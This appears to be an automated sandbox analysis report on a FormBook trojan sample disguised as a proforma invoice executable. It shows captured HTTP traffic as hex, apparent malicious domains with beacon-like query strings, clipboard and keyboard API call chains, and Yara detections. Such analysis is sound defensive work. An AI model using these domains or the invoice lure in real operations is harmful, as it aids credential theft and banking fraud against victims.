e3 56 a6 cb a6 e5 0e 1e 81 90 1c 18 18 10 8a 42 98 aa 1a 2a 31 83 99 34 7f fe fc 18 49 2a e0 46 b3 f6 b2 b1 37 bf ff f5 6a b3 56 23 12 e9 51 7a e0 a6 44 3e b2 19 19 b5 27 2d 2d 27 0b 05 d0 74 d9 8c 49 09 9b a9 d0 c1 18 a3 d3 4c 2e ba 2e 87 fe 40 92 48 57 c1 d6 66 66 cb aa 33 61 58 19 25 5b b2 2d 26 b9 c6 75 9a 49 f4 d1 b2 b8 2c a9 65 c3 9c c9 fc 95 3a 9a 6a a9 f1 b3 8e a1 9a f1 73 d4 9c a2 cc 28 aa 71 57 b5 5c c9 a5 8e 51 ca 7e 46 ba 8a b6 46 db 70 45 db b4 9d cc 29 45 e9 ed 55 a2 e0 c9 44 32 44 af 52 63 42 67 99 82 6d 6a a8 9f 28 da 56 c9 98 b8 ea da 93 4e 91 12 0e 17 71 aa 1f d4 5a a0 0a fc a0 4e c5 89 98 6c 0b 27 13 3d 20 5d b5 1d 4d aa 3a 6a 25 53 70 a8 7a 4d c2 6b 54 9a 34 e3 b6 19 7a 9a 54 2a d3 44 01 66 e1 d7 99 ca b4 78 9e 28 19 8e cb 40 4a 7c 09 64 25 66 57 32 81 4c c9 a0 a6 e6 52 36 5b 51 35 cd b0 26 32 00 01 8f 04 0e 7e 13 d6 b9 e1 c0 bc 6a 9a 3c 4c 77 b2 0c a4 cf 48 10 2e 53 0d 8b 3a e4 30 98 54 b0 19 b3 cb dc 96 c8 0f 37 dd 23 dc 33 e9 04 b5 b4 84 65 4b 74 ba a2 5a 9a 04 c0 2d 37 52 e8 03 3a 02 c2 dc 99 6c 98 60 08 12 ca 24 09 02 e8 85 00 99 0d 08 4d f3 9f 6c 28 8b ba 0a e9 87 4f 21 7f 35 e2 04 f0 94 25 5d 9c ea 68 fe 22 dc 03 f3 60 40 cd 98 86 75 2d ae 66 a6 0c d7 60 54 0b 4d 29 4a df c8 e8 a8 28 af 28 00 57 d1 ed 29 ea cc 62 a5 4a 1a 2d da 8e ca 0c db ca 58 b6 45 11 52 4f ce b6 cd a4 78 8a c3 e0 c2 ca 18 05 68 94 4c 45 24 93 bc 9e 0f 4b 0e 0d 85 35 a4 a7 0f 08 63 e5 04 c2 41 6d 00 71 21 7e 44 ab e7 80 56 aa 43 0b 93 a0 00 55 9f 9d d2 a1 8f 21 ac aa a1 31 3d 33 d0 db 1d c2 63 42 10 3b 2c a1 5e d0 48 75 13 f1 2b cb 43 0d 1a 30 c6 1c 5a 98 2c ea 94 91 8b 63 b1 78 d8 8f 91 fe 23 5d d0 30 bc e3 90 82 82 5a bc 36 e1 e0 30 80 2a e3 77 cf 0c f5 f7 7d 98 e2 ee 60 dd 51 8b cd 86 8c 70 2f 52 dd d9 8a 0d 89 42 be 1d 6a 02 f1 53 9c f3 44 47 b5 c6 b1 4f 11 a0 5d c0 b3 6d 7b 99 53 68 ff 70 a8 bc 7c a1 9e 5a a1 22 b3 c7 18 ec 40 27 95 a8 ab 22 27 3c 10 8d 42 ff 98 ae 64 d2 12 0b d8 4d 9f e9 ce 96 4c 5b 65 19 bc 19 10 2d 39 7c ce 40 88 98 8d 50 8b df 0c d4 7a d3 07 d4 b0 0a 01 a5 9a d1 0d 4d a3 16 57 83 31 07 77 af c2 7f 17 38 8a 24 f3 aa 2e c6 58 12 22 2a 1b 96 14 b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: wts/1.7.0Date: Mon, 09 Sep 2024 08:44:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingCache-Control: privateContent-Encoding: gzipStrict-Transport-Security: max-age=31536000Data Raw: 38 36 63 0d 0a 1f 8b 08 00 00 00 00 00 04 0a b5 58 7b 6f db d6 15 ff 7b fe 14 b7 0a 1c 6c 80 28 52 92 e3 87 24 6b 48 fd 40 02 24 5d 10 bb eb 06 04 08 28 f1 ca 24 42 91 2a 79 6d d9 31 0a 38 69 ea 47 12 37 06 da 3c 1c bb 48 b2 26 a9 97 21 56 ba b6 76 6c 37 cd 87 a9 48 c9 7f ed 2b ec 9c 7b 49 89 b6 6c 0f 2d 30 07 91 45 f2 9c df 39 e7 77 5e 97 ce 7d 30 fc 97 a1 f1 bf 5f 1a 21 3a 2b 9b e4 d2 c7 1f 5e 38 3f 44 62 92 2c 7f 92 1e 92 e5 e1 f1 61 f2 b7 73 e3 17 2f 90 64 42 21 63 cc 31 8a 4c 96 47 3e 8a 91 98 ce 58 25 23 cb d5 6a 35 51 4d 27 6c 67 42 1e bf 2c 4f 23 4a 12 d5 82 af 92 cb 75 12 1a d3 62 79 d2 95 e3 56 a6 cb a6 e5 0e 1e 81 90 1c 18 18 10 8a 42 98 aa 1a 2a 31 83 99 34 7f fe fc 18 49 2a e0 46 b3 f6 b2 b1 37 bf ff f5 6a b3 56 23 12 e9 51 7a e0 a6 44 3e b2 19 19 b5 27 2d 2d 27 0b 05 d0 74 d9 8c 49 09 9b a9 d0 c1 18 a3 d3 4c 2e ba 2e 87 fe 40 92 48 57 c1 d6 66 66 cb aa 33 61 58 19 25 5b b2 2d 26 b9 c6 75 9a 49 f4 d1 b2 b8 2c a9 65 c3 9c c9 fc 95 3a 9a 6a a9 f1 b3 8e a1 9a f1 73 d4 9c a2 cc 28 aa 71 57 b5 5c c9 a5 8e 51 ca 7e 46 ba 8a b6 46 db 70 45 db b4 9d cc 29 45 e9 ed 55 a2 e0 c9 44 32 44 af 52 63 42 67 99 82 6d 6a a8 9f 28 da 56 c9 98 b8 ea da 93 4e 91 12 0e 17 71 aa 1f d4 5a a0 0a fc a0 4e c5 89 98 6c 0b 27 13 3d 20 5d b5 1d 4d aa 3a 6a 25 53 70 a8 7a 4d c2 6b 54 9a 34 e3 b6 19 7a 9a 54 2a d3 44 01 66 e1 d7 99 ca b4 78 9e 28 19 8e cb 40 4a 7c 09 64 25 66 57 32 81 4c c9 a0 a6 e6 52 36 5b 51 35 cd b0 26 32 00 01 8f 04 0e 7e 13 d6 b9 e1 c0 bc 6a 9a 3c 4c 77 b2 0c a4 cf 48 10 2e 53 0d 8b 3a e4 30 98 54 b0 19 b3 cb dc 96 c8 0f 37 dd 23 dc 33 e9 04 b5 b4 84 65 4b 74 ba a2 5a 9a 04 c0 2d 37 52 e8 03 3a 02 c2 dc 99 6c 98 60 08 12 ca 24 09 02 e8 85 00 99 0d 08 4d f3 9f 6c 28 8b ba 0a e9 87 4f 21 7f 35 e2 04 f0 94 25 5d 9c ea 68 fe 22 dc 03 f3 60 40 cd 98 86 75 2d ae 66 a6 0c d7 60 54 0b 4d 29 4a df c8 e8 a8 28 af 28 00 57 d1 ed 29 ea cc 62 a5 4a 1a 2d da 8e ca 0c db ca 58 b6 45 11 52 4f ce b6 cd a4 78 8a c3 e0 c2 ca 18 05 68 94 4c 45 24 93 bc 9e 0f 4b 0e 0d 85 35 a4 a7 0f 08 63 e5 04 c2 41 6d 00 71 21 7e 44 ab e7 80 56 aa 43 0b 93 a0 00 55 9f 9d d2 a1 8f 21 ac aa a1 31 3d 33 d0 db 1d c2 63 42 10 3b 2c a1 5e d0 48 75 13 f1 2b cb 43 0d 1a 30 c6 1c 5a 98 2c ea 94 91 8b 63 b1 78 d8 8f 91 fe 23 5d d0 30 bc e3 90 82 82 5a bc 36 e1 e0 30 80 2a e3 77 cf 0c f5 f7 7d 98 e2 ee 60 dd 51 8b cd 86 8c 70 2f 52 dd d9 8a 0d 89 42 be 1d 6a 02 f1 53 9c f3 44 47 b5 c6 b1 4f 11 a0 5d c0 b3 6d 7b 99 53 68 ff 70 a8 bc 7c a1 9e 5a a1 22 b3 c7 18 ec 40 27 95 a8 ab 22 27 3c 10 8d 42 ff 98 ae 64 d2 12 0b d8 4d 9f e9 ce 96 4c 5b 65 19 bc 19 10 2d 39 7c ce 40 88 98 8d 50 8b df 0c d4 7a d3 07 d4 b0 0a 01 a5 9a d1 0d 4d a3 16 57 83 31 07 77 af c2 7f 17 38 8a 24 f3 aa 2e c6 58 12 22 2a 1b 96 14 b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: wts/1.7.0Date: Mon, 09 Sep 2024 08:44:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingCache-Control: privateContent-Encoding: gzipStrict-Transport-Security: max-age=31536000Data Raw: 38 36 63 0d 0a 1f 8b 08 00 00 00 00 00 04 0a b5 58 7b 6f db d6 15 ff 7b fe 14 b7 0a 1c 6c 80 28 52 92 e3 87 24 6b 48 fd 40 02 24 5d 10 bb eb 06 04 08 28 f1 ca 24 42 91 2a 79 6d d9 31 0a 38 69 ea 47 12 37 06 da 3c 1c bb 48 b2 26 a9 97 21 56 ba b6 76 6c 37 cd 87 a9 48 c9 7f ed 2b ec 9c 7b 49 89 b6 6c 0f 2d 30 07 91 45 f2 9c df 39 e7 77 5e 97 ce 7d 30 fc 97 a1 f1 bf 5f 1a 21 3a 2b 9b e4 d2 c7 1f 5e 38 3f 44 62 92 2c 7f 92 1e 92 e5 e1 f1 61 f2 b7 73 e3 17 2f 90 64 42 21 63 cc 31 8a 4c 96 47 3e 8a 91 98 ce 58 25 23 cb d5 6a 35 51 4d 27 6c 67 42 1e bf 2c 4f 23 4a 12 d5 82 af 92 cb 75 12 1a d3 62 79 d2 95 e3 56 a6 cb a6 e5 0e 1e 81 90 1c 18 18 10 8a 42 98 aa 1a 2a 31 83 99 34 7f fe fc 18 49 2a e0 46 b3 f6 b2 b1 37 bf ff f5 6a b3 56 23 12 e9 51 7a e0 a6 44 3e b2 19 19 b5 27 2d 2d 27 0b 05 d0 74 d9 8c 49 09 9b a9 d0 c1 18 a3 d3 4c 2e ba 2e 87 fe 40 92 48 57 c1 d6 66 66 cb aa 33 61 58 19 25 5b b2 2d 26 b9 c6 75 9a 49 f4 d1 b2 b8 2c a9 65 c3 9c c9 fc 95 3a 9a 6a a9 f1 b3 8e a1 9a f1 73 d4 9c a2 cc 28 aa 71 57 b5 5c c9 a5 8e 51 ca 7e 46 ba 8a b6 46 db 70 45 db b4 9d cc 29 45 e9 ed 55 a2 e0 c9 44 32 44 af 52 63 42 67 99 82 6d 6a a8 9f 28 da 56 c9 98 b8 ea da 93 4e 91 12 0e 17 71 aa 1f d4 5a a0 0a fc a0 4e c5 89 98 6c 0b 27 13 3d 20 5d b5 1d 4d aa 3a 6a 25 53 70 a8 7a 4d c2 6b 54 9a 34 e3 b6 19 7a 9a 54 2a d3 44 01 66 e1 d7 99 ca b4 78 9e 28 19 8e cb 40 4a 7c 09 64 25 66 57 32 81 4c c9 a0 a6 e6 52 36 5b 51 35 cd b0 26 32 00 01 8f 04 0e 7e 13 d6 b9 e1 c0 bc 6a 9a 3c 4c 77 b2 0c a4 cf 48 10 2e 53 0d 8b 3a e4 30 98 54 b0 19 b3 cb dc 96 c8 0f 37 dd 23 dc 33 e9 04 b5 b4 84 65 4b 74 ba a2 5a 9a 04 c0 2d 37 52 e8 03 3a 02 c2 dc 99 6c 98 60 08 12 ca 24 09 02 e8 85 00 99 0d 08 4d f3 9f 6c 28 8b ba 0a e9 87 4f 21 7f 35 e2 04 f0 94 25 5d 9c ea 68 fe 22 dc 03 f3 60 40 cd 98 86 75 2d ae 66 a6 0c d7 60 54 0b 4d 29 4a df c8 e8 a8 28 af 28 00 57 d1 ed 29 ea cc 62 a5 4a 1a 2d da 8e ca 0c db ca 58 b6 45 11 52 4f ce b6 cd a4 78 8a c3 e0 c2 ca 18 05 68 94 4c 45 24 93 bc 9e 0f 4b 0e 0d 85 35 a4 a7 0f 08 63 e5 04 c2 41 6d 00 71 21 7e 44 ab e7 80 56 aa 43 0b 93 a0 00 55 9f 9d d2 a1 8f 21 ac aa a1 31 3d 33 d0 db 1d c2 63 42 10 3b 2c a1 5e d0 48 75 13 f1 2b cb 43 0d 1a 30 c6 1c 5a 98 2c ea 94 91 8b 63 b1 78 d8 8f 91 fe 23 5d d0 30 bc e3 90 82 82 5a bc 36 e1 e0 30 80 2a e3 77 cf 0c f5 f7 7d 98 e2 ee 60 dd 51 8b cd 86 8c 70 2f 52 dd d9 8a 0d 89 42 be 1d 6a 02 f1 53 9c f3 44 47 b5 c6 b1 4f 11 a0 5d c0 b3 6d 7b 99 53 68 ff 70 a8 bc 7c a1 9e 5a a1 22 b3 c7 18 ec 40 27 95 a8 ab 22 27 3c 10 8d 42 ff 98 ae 64 d2 12 0b d8 4d 9f e9 ce 96 4c 5b 65 19 bc 19 10 2d 39 7c ce 40 88 98 8d 50 8b df 0c d4 7a d3 07 d4 b0 0a 01 a5 9a d1 0d 4d a3 16 57 83 31 07 77 af c2 7f 17 38 8a 24 f3 aa 2e c6 58 12 22 2a 1b 96 14 b
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: wts/1.7.0Date: Mon, 09 Sep 2024 08:44:10 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingCache-Control: privateStrict-Transport-Security: max-age=31536000Data Raw: 31 33 31 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 20 0a 3c 68 65 61 64 3e 20 0a 3c 74 69 74 6c 65 3e 49 49 53 20 31 30 2e 30 20 e8 af a6 e7 bb 86 e9 94 99 e8 af af 20 2d 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 20 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0a 3c 21 2d 2d 20 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 0a 63 6f 64 65 7b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 30 30 36 36 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 31 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 20 0a 2e 63 6f 6e 66 69 67 5f 73 6f 75 72 63 65 20 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 65 6d 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0a 70 72 65 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 34 65 6d 3b 77 6f 72 64 2d 77 72 61 70 3a 62 72 65 61 6b 2d 77 6f 72 64 3b 7d 20 0a 75 6c 2c 6f 6c 7b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 31 30 70 78 20 35 70 78 3b 7d 20 0a 75 6c 2e 66 69 72 73 74 2c 6f 6c 2e 66 69 72 73 74 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 70 78 3b 7d 20 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 77 6f 72 64 2d 62 72 65 61 6b 3a 62 72 65 61 6b 2d 61 6c 6c 3b 7d 20 0a 2e 73 75 6d 6d 61 72 79 2d 63 6f 6e 74 61 69 6e 65 72 20 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 35 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 70 78 3b 7d 20 0a 6c 65 67 65 6e 64 2e 6e 6f 2d 65 78 70 61 6e 64 2d 61 6c 6c 7b 70 61 64 64 69 6e 67 3a 32 70 78 20 31 35 70 78 20 34 70 78 20 31 30 70 78 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 2d 31 32 70 78 3b 7d 20 0a 6c 65 67 65 6e 64 7b 63 6f 6c 6f 72 3a 23 33 33 33 33 33 33 3b 3b 6d 61 72 67 69 6e 3a 34 70 78 20 30 20 38 70 78 20 2d 31 32 70 78 3b 5f 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 70 78 3b 20 0a 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 3b 7d 20 0a 61 3a 6c 69 6e 6b 2c 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 30 30 37 45 46 46 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 6

Source: chkntfs.exe, 00000004.00000002.3888417281.0000000004DA4000.00000004.10000000.00040000.00000000.sdmp, aWQzvnOIPI.exe, 00000006.00000002.3887861753.00000000034A4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000007.00000002.2506186536.0000000026124000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.clientebradesco.online/xsf1?gp=1&js=1&uuid=1725871306.0083265548&other_args=eyJ1cmkiOiAiL
Source: chkntfs.exe, 00000004.00000002.3888417281.0000000005EEA000.00000004.10000000.00040000.00000000.sdmp, aWQzvnOIPI.exe, 00000006.00000002.3887861753.00000000045EA000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.dfbio.net:80/yzen/?MHZDTHg=O9V9WpJA2Id3CQ8RbCyxNyy8YHr
Source: aWQzvnOIPI.exe, 00000006.00000002.3889703348.0000000005552000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.healthsolutions.top
Source: aWQzvnOIPI.exe, 00000006.00000002.3889703348.0000000005552000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.healthsolutions.top/cent/
Source: firefox.exe, 00000007.00000002.2506186536.0000000026124000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www70.clientebradesco.online/
Source: chkntfs.exe, 00000004.00000003.2401309568.00000000075AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chkntfs.exe, 00000004.00000003.2401309568.00000000075AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chkntfs.exe, 00000004.00000003.2401309568.00000000075AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: chkntfs.exe, 00000004.00000003.2401309568.00000000075AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chkntfs.exe, 00000004.00000003.2401309568.00000000075AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: chkntfs.exe, 00000004.00000003.2401309568.00000000075AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chkntfs.exe, 00000004.00000003.2401309568.00000000075AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chkntfs.exe, 00000004.00000002.3886521464.00000000004D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: chkntfs.exe, 00000004.00000002.3886521464.00000000004D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: chkntfs.exe, 00000004.00000002.3886521464.00000000004D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: chkntfs.exe, 00000004.00000002.3886521464.00000000004D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: chkntfs.exe, 00000004.00000002.3886521464.00000000004D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: chkntfs.exe, 00000004.00000002.3886521464.00000000004D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: chkntfs.exe, 00000004.00000003.2397207489.0000000007581000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: chkntfs.exe, 00000004.00000003.2401309568.00000000075AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chkntfs.exe, 00000004.00000002.3888417281.0000000004F36000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000004.00000002.3888417281.000000000557E000.00000004.10000000.00040000.00000000.sdmp, chkntfs.exe, 00000004.00000002.3890273725.0000000007300000.00000004.00000800.00020000.00000000.sdmp, aWQzvnOIPI.exe, 00000006.00000002.3887861753.0000000003C7E000.00000004.00000001.00040000.00000000.sdmp, aWQzvnOIPI.exe, 00000006.00000002.3887861753.0000000003636000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chkntfs.exe, 00000004.00000003.2401309568.00000000075AE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_0049EAFF OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_0049EAFF

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_0049ED6A OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_0049ED6A

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

0_2_0049EAFF

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_0048AA57 GetKeyboardState,SetKeyboardState,PostMessageW,SendInput,

0_2_0048AA57

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_004B9576 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_004B9576

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 2.2.svchost.exe.670000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.670000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2218035325.0000000000670000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3889703348.00000000054F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3887681480.0000000003A60000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3887653042.0000000004120000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2218789081.0000000004950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3886145811.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2218375524.0000000002F00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3887511175.00000000027F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.2.svchost.exe.670000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 2.2.svchost.exe.670000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2218035325.0000000000670000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.3889703348.00000000054F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.3887681480.0000000003A60000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.3887653042.0000000004120000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2218789081.0000000004950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.3886145811.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.2218375524.0000000002F00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000004.00000002.3887511175.00000000027F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Binary is likely a compiled AutoIt script file

Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	String found in binary or memory: This is a third-party compiled AutoIt script.
Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe, 00000000.00000000.2016404310.00000000004E2000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_f1104b51-f
Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe, 00000000.00000000.2016404310.00000000004E2000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating 